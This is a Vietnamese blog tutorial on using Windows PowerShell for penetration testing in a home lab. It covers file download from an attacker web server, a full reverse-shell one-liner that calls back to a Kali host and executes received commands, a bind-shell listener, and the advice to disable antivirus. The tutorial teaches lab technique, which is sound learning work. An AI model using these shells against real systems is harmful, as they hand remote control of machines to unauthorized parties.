NỘI DUNG
Tiếp theo nội dung Phần 10: Nâng cấp các chiêu thức của Netcat với Socat, kỳ này tôi sẽ mò sang một nhân vật cực kỳ nổi tiếng trong “giới” Windows đó là PowerShell. Dù tên gọi thằng này không có dính chữ “cat” nào nhưng PowerShell hàng khủng, nội công cao nên các nhu cầu như File transfer, Bind Shells và Reverse Shells tôi giới thiệu trong các kỳ trước cũng không có gì khó khăn với nó (tuy nhiên so với đám “mèo” Netcat/Socat, nhìn chung việc xử lý các tác vụ tương đương với PowerShell có vẻ phù hợp cho các đối tượng thích “khổ râm” hơn là “người thường”!). Do vậy, kể cả trong tình huống bạn không thể (hoặc không được phép) sử dụng Netcat/Socat trên Windows thì các nhu cầu nói trên cũng hoàn toàn có thể thực hiện như phần demo tôi giới thiệu bên dưới.
Ngoài ra, điều thứ 2 tôi muốn bàn ngay là “Series Giải ngố Kali Linux thì đi lôi Windows PowerShell làm vẹo gì?”. Vâng, dù có vẻ hơi lạc đề bạn cũng phải thừa nhận với số lượng máy tính chạy Windows rất lớn, trong hành trình mò mẫm vào vũng lầy Penetration Testing (có thể với Kali Linux), kiểu gì cũng đến lúc bạn phải chiến với một con hàng Windows. Tưởng tượng thử cái viễn cảnh sau khi bạn tung mọi mưu hèn kế bẩn và truy cập được vào cái “trung tâm điều khiển PowerShell” của Windows rồi mới nhận ra mình không biết làm gì tiếp thì nó đau khổ (và nhục nhã) đến dường nào! (chắc tôi sẽ nghiên cứu làm một Series riêng cho PowerShell, chứ trong một bài đơn sơ thế này thì cũng không đủ để giới thiệu chung về nó)
#1. Dẫn nhập và dàn cảnh
#1.1 Windows PowerShell là gì?
Windows PowerShell là command line shell, scripting language (ngôn ngữ kịch bản) và hiển nhiên là một công cụ không thể thiếu cho hoạt động Penetration Testing như tôi đã giới thiệu. PowerShell cũng bao gồm một thứ có tên gọi là “built-in Integrated Development Environment (IDE)” hay quen thuộc hơn là “Windows PowerShell Integrated Scripting Environment (ISE)”.
ISE này là application (ứng dụng) để hỗ trợ chạy command, viết, test và debug scripts cho Windows PowerShell. Giao diện này cũng cho phép multiline editing, tab completion, syntax coloring, selective execution, context-sensitive help, …(cái này tôi chém gió cho vui chứ không phải đối tượng chính của kỳ này)
Bên cạnh đó, do công lực của PowerShell rất cao (thấy chữ Power là biết rồi), nên execution policy (chính sách thực thi) mặc định với nó sẽ là Restricted – nghĩa là phế hết võ công, không cho load PowerShell configuration file lẫn chạy PowerShell scripts. Do vậy, để có thể quẩy tung nóc với PowerShell, tôi sẽ cần chuyển execution policy sang Unrestricted trước.
Lưu ý quan trọng: Do khả năng của PowerShell scripts, việc mặc định Restricted là rất chính đáng. Bạn chỉ nên thử nghiệm chuyển execution policy sang Unrestricted trong các môi trường cô lập (ví dụ chạy VMWare giống tôi) và nên duy trì “thói quen” tốt là khôi phục “hiện trạng” ban đầu (Restricted) sau khi hoàn tất quá trình vọc vạch. Ý tưởng thử nghiệm các nội dung này trên hệ thống thật sự là một “tối kiến” và bạn nên bóp chết nó ngay từ trong trứng nước.
#1.2 Dàn cảnh chuẩn bị cho các nội dung demo
Quay trở lại vấn đề chính, trên con máy ảo Windows 10, tôi chạy PowerShell với quyền admin và thiết lập lại execution policy với command:
Set-ExecutionPolicy Unrestricted
Và kiểm tra lại với command:
Get-ExecutionPolicy
Thế là xong bước chuẩn bị đầu tiên (như tôi lưu ý ở trên, bạn nhớ chạy Set-ExecutionPolicy Restricted sau khi hoàn tất việc vọc vạch).
Cũng giống như nội dung Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat, kỳ này tôi cũng sẽ triển với 2 con hàng là Windows 10 và Kali Linux với địa chỉ IP như sau:
- Windows 10: 192.168.168.135
- Kali Linux: 192.168.168.130
Rồi, chuẩn bị như thế coi như tạm ổn, giờ tôi sẽ lê ass vô phần trọng tâm của show diễn hôm nay thôi.
#2. File transfer với PowerShell
Trước khi thực hiện việc truyền tải file (wget.exe trong ví dụ sau) với PowerShell trên Windows 10 (thực chất là download file từ máy Kali Linux về Windows 10 với giao thức http), tôi cần thực hiện 2 việc trên trên Kali Linux:
- Mang file wget.exe vào vị trí thư mục gốc của của Apache Web Server với command:
sudo cp /usr/share/windows-resources/binaries/wget.exe /var/www/html/
- Sau đó khởi động Apache Server với command:
sudo systemctl start apache2
Lưu ý: Bạn có thể xem thêm chi tiết liên quan đến Apache Web Server ở nội dung Hướng dẫn tạo Website miễn phí từ A đến Z – Phần 1: Chuẩn bị GCP VM Instance, cài đặt Apache Web Server và thiết lập Firewall.
Và sau đó tiến hành truyền tải file về máy Windows 10 bằng cách chạy nội dung sau từ Command Prompt:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.188.130/wget.exe','C:\Users\<username>\Desktop\wget.exe')"
Lưu ý:
- Bạn cần cập nhật địa chỉ IP và username tương ứng cho command trên cho phù hợp;
- Option “-c” có chức năng thực thi command nằm bên trong dấu nháy đôi – double-quotes (“”);
- “new-object” cmdlet sẽ khởi tạo một đối tượng .Net Framework (hoặc COM). Trong ví dụ này cụ thể sẽ là một instance (thực thể) WebClient Class thuộc Net namespace (bạn thấy rối quá thì cứ kệ mịa nó, chỉ cần biết đại khái là sẽ khởi tạo một đối tượng thôi cũng được);
- WebClient Class được dùng để truy cập đến các tài nguyên được xác định thông qua URI với public method (cái này là một khái niệm phổ biến của các cụ bên lập trình, bạn có thể hình dung nó như một “kỹ năng” đặc trưng của “lớp” WebClient cũng được) có tên gọi là DownloadFile;
- DownloadFile method sẽ yêu cầu 2 parameter (thông số): source location (vị trí nguồn) tương ứng cái URI nói trên và target location (vị trí đích) là nơi lưu dữ liệu. Cái này thì tôi nghĩ quá dễ hiểu rồi.
Như bạn thấy, hoàn tất quá trình tôi có thể gọi “wget -h” từ vị trí lưu trữ file đã xác định như trên.
#3. Reverse Shells với PowerShell
Với nội dung Reverse Shell, bên máy Kali Linux, với Netcat có sẵn, bạn có thể dùng command sau để khởi tạo Listener với port 443 (bạn thích dùng cổng khác cũng được):
sudo nc -nlvp 443
Ở bên kia chiến tuyến, trên máy Windows 10, để gửi cái Reverse Shell sang Kali Linux, bạn sẽ cần chạy cái đống “bùng nhùng” sau:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.188.130',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Ở đây, phần option -c của PowerShell cũng tương tự như ở trên nên tôi sẽ tập trung vào command bên trong dấu nháy đôi thôi. Tôi ghi lại phiên bản “thân thiện” hơn cái one-liner nói trên:
$client = New-Object System.Net.Sockets.TCPClient('192.168.188.130',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
Dễ nhìn hơn tí nhưng so với Netcat thì đúng là vẫn còn mang đậm tính “thể thao hành xác”. Đã lỡ phóng lao rồi, tôi đành phải theo lao mà bơi vào đống này thôi (bạn không cần lo lắng, tôi chỉ “trườn” trên “bề mặt” thôi, phần phân tích chi tiết tôi xin khất lại vào một dịp khác):
- Một variable (biến) tên client sẽ gán đến New-Object System.Net.Sockets (cái trước đó dùng WebClient thay vì Sockets như ở đây). Chỗ này để bạn đúc cái target IP vô;
- Một variable tên stream được gán vào GetStream() của variable client;
- Một byte array (tạm dịch là “dãy”) tên bytes;
- “..” (double dot) là range constructor nên .65535 sẽ trả về cho bạn một integer array (một dãy các số nguyên) từ 0 đến 65535 (bạn tạm thời gác lại việc ở đâu phọt ra số 65535 này đi, vì để suy nghĩ phát triển tự do theo hướng này thì lát nữa “quên cả lối về” đấy);
- “|%” là pipe kèm theo viết tắt của foreach-object (%) nên khi dịch qua “tiếng người” thì “
[byte[]]$bytes = 0..65535|%{0};
” sẽ khởi tạo byte array tên bytes có độ dài 65536 với tất cả giá trị là “0”. Vâng tôi biết, đúng chuẩn thể thao hành xác, mới đến dòng thứ 3 và chưa biết việc này sẽ đi đến đâu nhưng đã rối não rồi (ngoài ra, nếu chưa biết pipe là gì thì bạn có thể xem thêm ở Phần 5: Nâng cấp kỹ năng tìm kiếm trên Linux với grep command); - Tiếp tục, trong vòng lặp while, về cơ bản bạn sẽ thấy việc đọc và ghi dữ liệu theo độ dài của bytes (chỗ Length) vào stream. Ở đây có xuất hiện một đối tượng đặc biệt là iex hay “Invoke-Expression” cmdlet có vai trò chạy bất kỳ string nào mà nó nhận được như command sau đó phụt cái kết quả về lại cho data stream;
Đến đây chắc bạn đã có thể hình dung sơ bộ PowerShell Reverse Shells hoạt động thế nào rồi đúng không. Dù rất rối não nhưng có một tin vui là thực tế khi sử dụng, bạn chỉ cần copy và cập nhật tương ứng cái địa chỉ IP và port ngay sau TCPClient sau là ngon ăn rồi.
Tất nhiên, bạn cũng cần mò sang con Kali Linux để kiểm tra lại kết quả cho chắc.
#4. Bind Shells với PowerShell
Như trong nội dung Phần 9: Bước chân vào con đường Penetration Testing với “mèo mạng” Netcat, với Bind Shells , bạn sẽ cần thực hiện ngược lại. Lúc này, trên máy Windows 10 bạn sẽ cần khởi tạo Listener với PowerShell thông qua:
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
Như vậy ngoài cái đám lòng thòng như trình bày trong phần Reverse Shells, ở đây bạn sẽ có thêm Listener thông qua việc sử dụng System.Net.Sockets.TcpListener Class. Thằng này cũng sẽ yêu cầu 2 argument (thông số) là địa chỉ IP để lắng nghe và port. Như trên bạn sẽ thấy địa chỉ IP “0.0.0.0” hàm ý Bind Shell sẽ quất bất kỳ cái IP address nào mà nó nhận được.
Và như bạn đã biết (nếu chưa thì bây giờ biết), từ máy Kali Linux bạn sẽ có thể kết nối đến Bind Shell với:
nc -nv 192.168.188.135 443
Lưu ý: Bạn có thể cần tắt chương trình Antivirus vì hành động trên thuộc dạng “cực kỳ độc hại” (bạn dâng toàn quyền kiểm soát cho thiên hạ rồi chứ còn gì nữa);
Cuối cùng tôi xin kết thúc nội dung kỳ này bằng một thông tin an ủi là còn có một đối tượng với tên gọi Powercat – phiên bản PowerShell của Netcat dành cho các đối tượng “thích” PowerShell nhưng không ưa mấy trò hại não như phần demo ở trên.
1 thought on “Giải ngố Kali Linux – Phần 11: Cứu nguy tình thế không có đám “mèo” Netcat/Socat với Windows PowerShell”